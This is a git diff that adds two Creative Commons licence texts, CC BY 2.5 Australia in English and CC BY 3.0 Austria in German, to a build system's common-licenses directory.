diff --git a/meta/files/common-licenses/CC-BY-2.5-AU b/meta/files/common-licenses/CC-BY-2.5-AU
new file mode 100644
index 0000000000..23b8800919
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-2.5-AU
@@ -0,0 +1,112 @@
+Creative Commons Attribution 2.5 Australia
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORISED UNDER THIS LICENCE AND/OR APPLICABLE LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+ 1. Definitions
+
+ a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopaedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this Licence.
+
+ b. "Derivative Work" means a work that reproduces a substantial part of the Work, or of the Work and other pre-existing works protected by copyright, or that is an adaptation of a Work that is a literary, dramatic, musical or artistic work. Derivative Works include a translation, musical arrangement, dramatisation, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which a work may be adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ c. "Licensor" means the individual or entity that offers the Work under the terms of this Licence.
+
+ d. "Moral rights law" means laws under which an individual who creates a work protected by copyright has rights of integrity of authorship of the work, rights of attribution of authorship of the work, rights not to have authorship of the work falsely attributed, or rights of a similar or analogous nature in the work anywhere in the world.
+
+ e. "Original Author" means the individual or entity who created the Work.
+
+ f. "Work" means the work or other subject-matter protected by copyright that is offered under the terms of this Licence, which may include (without limitation) a literary, dramatic, musical or artistic work, a sound recording or cinematograph film, a published edition of a literary, dramatic, musical or artistic work or a television or sound broadcast.
+
+ g. "You" means an individual or entity exercising rights under this Licence who has not previously violated the terms of this Licence with respect to the Work, or who has received express permission from the Licensor to exercise rights under this Licence despite a previous violation.
+
+ h. "Licence Elements" means the following high-level licence attributes as selected by Licensor and indicated in the title of this Licence: Attribution, NonCommercial, NoDerivatives, ShareAlike.
+
+2. Fair Dealing and Other Rights. Nothing in this Licence excludes or modifies, or is intended to exclude or modify, (including by reducing, limiting, or restricting) the rights of You or others to use the Work arising from fair dealings or other limitations on the rights of the copyright owner or the Original Author under copyright law, moral rights law or other applicable laws.
+
+3. Licence Grant. Subject to the terms and conditions of this Licence, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) licence to exercise the rights in the Work as stated below:
+
+ a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
+
+ b. to create and reproduce Derivative Works;
+
+ c. to publish, communicate to the public, distribute copies or records of, exhibit or display publicly, perform publicly and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
+
+ d. to publish, communicate to the public, distribute copies or records of, exhibit or display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works;
+
+ e. For the avoidance of doubt, where the Work is a musical composition:
+
+ i. Performance Royalties Under Blanket Licences. Licensor will not collect, whether individually or via a performance rights society, royalties for Your communication to the public, broadcast, public performance or public digital performance (e.g. webcast) of the Work.
+
+ ii. Mechanical Rights and Statutory Royalties. Licensor will not collect, whether individually or via a music rights agency, designated agent or a music publisher, royalties for any record You create from the Work ("cover version") and distribute, subject to the compulsory licence created by 17 USC Section 115 of the US Copyright Act (or an equivalent statutory licence under the Australian Copyright Act or in other jurisdictions).
+
+
+ f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor will not collect, whether individually or via a performance-rights society, royalties for Your public digital performance (e.g. webcast) of the Work, subject to the compulsory licence created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor under this Licence are hereby reserved.
+
+4. Restrictions. The licence granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work only under the terms of this Licence, and You must include a copy of, or the Uniform Resource Identifier for, this Licence with every copy or record of the Work You publish, communicate to the public, distribute, publicly exhibit or display, publicly perform or publicly digitally perform. You may not offer or impose any terms on the Work that exclude, alter or restrict the terms of this Licence or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this Licence and to the disclaimer of representations and warranties. You may not publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this Licence. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this Licence. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by Section 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by Section 4(b), as requested.
+
+ b. If you publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work. You must also give clear and reasonably prominent credit to (i) the Original Author (by name or pseudonym if applicable), if the name or pseudonym is supplied; and (ii) if another party or parties (eg a sponsor institute, publishing entity or journal) is designated for attribution in the copyright notice, terms of service or other reasonable means associated with the Work, such party or parties. If applicable, that credit must be given in the particular way made known by the Original Author and otherwise as reasonable to the medium or means You are utilizing, by conveying the identity of the Original Author and the other designated party or parties (if applicable); the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit.
+
+ c. False attribution prohibited. Except as otherwise agreed in writing by the Licensor, if You publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works in accordance with this Licence, You must not falsely attribute the Work to someone other than the Original Author.
+
+ d. Prejudice to honour or reputation prohibited. Except as otherwise agreed in writing by the Licensor, if you publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must not do anything that results in a material distortion of, the mutilation of, or a material alteration to, the Work that is prejudicial to the Original Author's honour or reputation, and You must not do anything else in relation to the Work that is prejudicial to the Original Author's honour or reputation.
+
+5. Disclaimer.
+
+EXCEPT AS EXPRESSLY STATED IN THIS LICENCE OR OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, AND TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, LICENSOR OFFERS THE WORK "AS-IS" AND MAKES NO REPRESENTATIONS, WARRANTIES OR CONDITIONS OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, ANY REPRESENTATIONS, WARRANTIES OR CONDITIONS REGARDING THE CONTENTS OR ACCURACY OF THE WORK, OR OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, THE ABSENCE OF LATENT OR OTHER DEFECTS, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability.
+
+TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, AND EXCEPT FOR ANY LIABILITY ARISING FROM CONTRARY MUTUAL AGREEMENT AS REFERRED TO IN SECTION 5, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE) FOR ANY LOSS OR DAMAGE WHATSOEVER, INCLUDING (WITHOUT LIMITATION) LOSS OF PRODUCTION OR OPERATION TIME, LOSS, DAMAGE OR CORRUPTION OF DATA OR RECORDS; OR LOSS OF ANTICIPATED SAVINGS, OPPORTUNITY, REVENUE, PROFIT OR GOODWILL, OR OTHER ECONOMIC LOSS; OR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF OR IN CONNECTION WITH THIS LICENCE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+If applicable legislation implies warranties or conditions, or imposes obligations or liability on the Licensor in respect of this Licence that cannot be wholly or partly excluded, restricted or modified, the Licensor's liability is limited, to the full extent permitted by the applicable legislation, at its option, to:
+
+ a. in the case of goods, any one or more of the following:
+
+ i. the replacement of the goods or the supply of equivalent goods;
+
+ ii. the repair of the goods;
+
+ iii. the payment of the cost of replacing the goods or of acquiring equivalent goods;
+
+ iv. the payment of the cost of having the goods repaired; or
+
+ b. in the case of services:
+
+ i. the supplying of the services again; or
+
+ ii. the payment of the cost of having the services supplied again.
+
+7. Termination.
+
+ a. This Licence and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Derivative Works or Collective Works from You under this Licence, however, will not have their licences terminated provided such individuals or entities remain in full compliance with those licences. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this Licence.
+
+ b. Subject to the above terms and conditions, the licence granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different licence terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this Licence (or any other licence that has been, or is required to be, granted under the terms of this Licence), and this Licence will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous.
+
+ a. Each time You publish, communicate to the public, distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a licence to the Work on the same terms and conditions as the licence granted to You under this Licence.
+
+ b. Each time You publish, communicate to the public, distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a licence to the original Work on the same terms and conditions as the licence granted to You under this Licence.
+
+ c. If any provision of this Licence is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Licence, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this Licence shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ e. This Licence constitutes the entire agreement between the parties with respect to the Work licensed here. To the full extent permitted by applicable law, there are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This Licence may not be modified without the mutual written agreement of the Licensor and You.
+
+ f. The construction, validity and performance of this Licence shall be governed by the laws in force in New South Wales, Australia.
+
+Creative Commons is not a party to this Licence, and, to the full extent permitted by applicable law, makes no representation or warranty whatsoever in connection with the Work. To the full extent permitted by applicable law, Creative Commons will not be liable to You or any party on any legal theory (including, without limitation, negligence) for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-AT b/meta/files/common-licenses/CC-BY-3.0-AT
new file mode 100644
index 0000000000..b22fedef2d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-AT
@@ -0,0 +1,111 @@
+CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Bearbeitung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange dieses erkennbar vom Schutzgegenstand abgeleitet wurde. Dies kann insbesondere auch eine Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Bearbeitung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Nutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten zu einem einheitlichen Ganzen, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine eigentümliche geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Bearbeitungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit zugänglich zu machen oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und eine Erteilung, Übertragung oder Einräumung von Nutzungsbewilligungen bzw Nutzungsrechten an Dritte erlaubt.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine eigentümliche geistige Schöpfung jeglicher Art oder ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff „Schutzgegenstand“ im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährte Nutzungsbewilligung trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Wiedergeben" im Sinne dieser Lizenz sind Wahrnehmbarmachungen des Schutzgegenstandes in unkörperlicher Form zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung oder zeit- und ortsunabhängiger Zurverfügungstellung erfolgen, unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, gleichviel in welchem Verfahren, auf welchem Träger, in welcher Menge und ob vorübergehend oder dauerhaft, Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch das erstmalige Festhalten des Schutzgegenstandes oder dessen Wahrnehmbarmachung auf Mitteln der wiederholbaren Wiedergabe sowie das Herstellen von Vervielfältigungsstücken dieser Festhaltung, sowie die Speicherung einer geschützten Darbietung oder eines Bild- und/oder Schallträgers in digitaler Form oder auf einem anderen elektronischen Medium.
+
+2. Beschränkungen der Verwertungsrechte
+
+Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die sich aus den Beschränkungen der Verwertungsrechte, anderen Beschränkungen der Ausschließlichkeitsrechte des Rechtsinhabers oder anderen entsprechenden Rechtsnormen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Lizenzierung
+
+Unter den Bedingungen dieser Lizenz erteilt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - die vergütungsfreie, räumlich und zeitlich (für die Dauer des Urheberrechts oder verwandten Schutzrechts am Schutzgegenstand) unbeschränkte Nutzungsbewilligung, den Schutzgegenstand in der folgenden Art und Weise zu nutzen:
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Den Schutzgegenstand zu bearbeiten, einschließlich Übersetzungen unter Nutzung jedweder Medien anzufertigen, sofern deutlich erkennbar gemacht wird, dass es sich um eine Bearbeitung handelt;
+
+ c. Den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich wiederzugeben und zu verbreiten; und
+
+ d. Bearbeitungen des Schutzgegenstandes zu veröffentlichen, öffentlich wiederzugeben und zu verbreiten.
+
+ e. Bezüglich der Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechenden Vergütungsansprüche für jede Ausübung eines Rechts aus dieser Lizenz durch Sie geltend zu machen.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Geltendmachung der Vergütungsansprüche durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Die vorgenannte Nutzungsbewilligung wird für alle bekannten sowie alle noch nicht bekannten Nutzungsarten eingeräumt. Sie beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich vom Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf die Geltendmachung sämtlicher daraus resultierender Rechte.
+
+4. Bedingungen
+
+Die Erteilung der Nutzungsbewilligung gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich wiedergeben. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dasselbe gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie - soweit dies praktikabel ist - auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen. Wenn Sie eine Bearbeitung vornehmen, müssen Sie – soweit dies praktikabel ist – auf die Mitteilung eines Lizenzgebers hin von der Bearbeitung die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und die öffentliche Wiedergabe des Schutzgegenstandes oder auf ihm aufbauender Inhalte oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Urheberschaft oder die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie selbst – soweit bekannt – Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) Rechteinhabers, und/oder falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) („Zuschreibungsempfänger“), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Bearbeitung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Bearbeitung handelt.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Bearbeitung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung aller Beitragenden dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Urhebers, des Lizenzgebers und/oder des Zuschreibungsempfängers weder implizit noch explizit irgendeine Verbindung mit dem oder eine Unterstützung oder Billigung durch den Urheber, den Lizenzgeber oder den Zuschreibungsempfänger andeuten oder erklären.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. (Urheber)Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE ERTEILUNG DER NUTZUNGSBEWILLIGUNG UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN.
+
+6. Haftungsbeschränkung
+
+ÜBER DIE IN ZIFFER 5 GENANNTE GEWÄHRLEISTUNG HINAUS HAFTET DER LIZENZGEBER IHNEN GEGENÜBER FÜR SCHÄDEN JEGLICHER ART NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG FÜR FOLGE- ODER ANDERE SCHÄDEN, AUCH WENN ER ÜBER DIE MÖGLICHKEIT IHRES EINTRITTS UNTERRICHTET WURDE.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie erteilte Nutzungsbewilligung erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Bearbeitungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke sowie entsprechende Vervielfältigungsstücke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Bearbeitung des Schutzgegenstandes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
